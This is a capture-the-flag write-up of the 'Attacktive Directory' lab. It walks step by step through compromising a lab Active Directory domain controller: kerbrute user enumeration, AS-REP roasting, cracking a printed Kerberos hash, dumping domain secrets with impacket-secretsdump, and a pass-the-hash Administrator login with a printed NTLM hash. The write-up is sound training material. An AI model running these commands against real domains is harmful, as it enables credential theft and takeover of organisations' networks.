---
description: AS-REP Roasting - SMB Enumeration - Dumping Secrets
---

# Attacktive Directory

### Enumeration

Starting off with the scan

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FXHVC2j6l0KHA4jzqjFnZ%2Fimage.png?alt=media&#x26;token=c91dab71-734b-421c-b99f-e0b3662dbbb8" alt=""><figcaption></figcaption></figure>

The Top Level Domain Name is `spookysec.local` and we see a bunch of services - DNS, IIS, Kerberos, RPC, netbios etc

Let's start enumerating port 139 & 445 :)

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FlyOhHGOMjeZKOSONe6bQ%2Fimage.png?alt=media&#x26;token=ba795de1-5955-4d90-856a-b74bb9033357" alt=""><figcaption></figcaption></figure>

Found Domain Name - **THM-AD**

Tried accessing some shares via anonymous login - Failed, This challenge provides us with a set of username and passwords so let's utilize that for our further move :)

We will be bruteforcing the DC using **kerbrute** to find valid users

```
$ kerbrute userenum --dc <IP> -d spookysec.local userlist.txt
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2F0DWJd1eVusPiAV388GAy%2Fimage.png?alt=media&#x26;token=568a80d2-37f5-48a9-86ed-477decd74566" alt=""><figcaption></figcaption></figure>

### Initial Compromise

We can attempt to abuse a feature within Kerberos with an attack method called **ASREPRoasting**

> ASReproasting occurs when a user account has the privilege “Does not require Pre-Authentication” set - This means that the account **does not** need to provide valid identification before requesting a Kerberos Ticket on the specified user account

```
$ impacket-GetNPUsers spooky.local/ -no-pass -usersfile users.txt -dc-ip <target ip> 
```

This returns that the user svc-admin can query a ticket with no password

```
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:408ee4a3e91ec877b931d35c56364c77$63dc9e093d6f3ddfd0074033786ed4d4d6e5f3e9f27be7f98866c0c91c4271c6c8a721eafa9e343a2b9638da64fe71d7563c31e51e6aac0686ba9025ab8ff2d41b8b24f38888cd803c70568744a12daa95cca16b73fa6bc5b20f1fb697b29fd1fe39fa0553ae07ad7e6e2f5232e306ee2abf3ee2ba8ebc704bc96f0d60cd245f96f4caa7c20c3a673fba2b25a384593b01e334560348a146d9168e1fc594b8c59e11382193bd2b3f1c421f9d5fdc61167c8f3bfa18d60fc6fca79923c16b707927719330363b593c28ccc0c7dd2c5e7696b43d45a4bc016341f773805c53f51d2b6ae4a0fa3c3280a18a9d53d9b5fd08337c
```

We can now crack this hash using **john** or **hashcat** (18200)

```
svc-admin:management2005
```

We can now continue our enumeration, listing shares etc

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FriHClP6Y9VPcpmRnFrC7%2Fimage.png?alt=media&#x26;token=8d0f71e5-d7ea-4737-9503-43f23d867711" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FEZbQBwisskOcqAqFFGDi%2Fimage.png?alt=media&#x26;token=1eecc95d-8948-423f-90a6-f58c67196c5e" alt=""><figcaption></figcaption></figure>

This file had a base64 encrypted string, and boom its a username and password !

```
backup@spookysec.local:backup2517860
```

### Privilege Escalation

Wai whattttt, don't tell me this is the DC's backup account :) - Let's try dumping some secrets with this creds and check tho

```
impacket-secretsdump -just-dc backup@10.10.115.36
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2Ff6l59acZDQugk4Ky4geb%2Fimage.png?alt=media&#x26;token=c2c1ea0e-c2fd-4572-9b70-a78e173ad42e" alt=""><figcaption></figcaption></figure>

We dumped the Administrator's NTLM hash, we can now pass this hash and gain admin privileges !

```
evil-winrm -i <target ip> -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FOGX6zuhY51aJqeoZTOIT%2Fimage.png?alt=media&#x26;token=efa61659-30a8-4d45-944d-81eb7571ea7a" alt=""><figcaption><p>THE END :)</p></figcaption></figure>
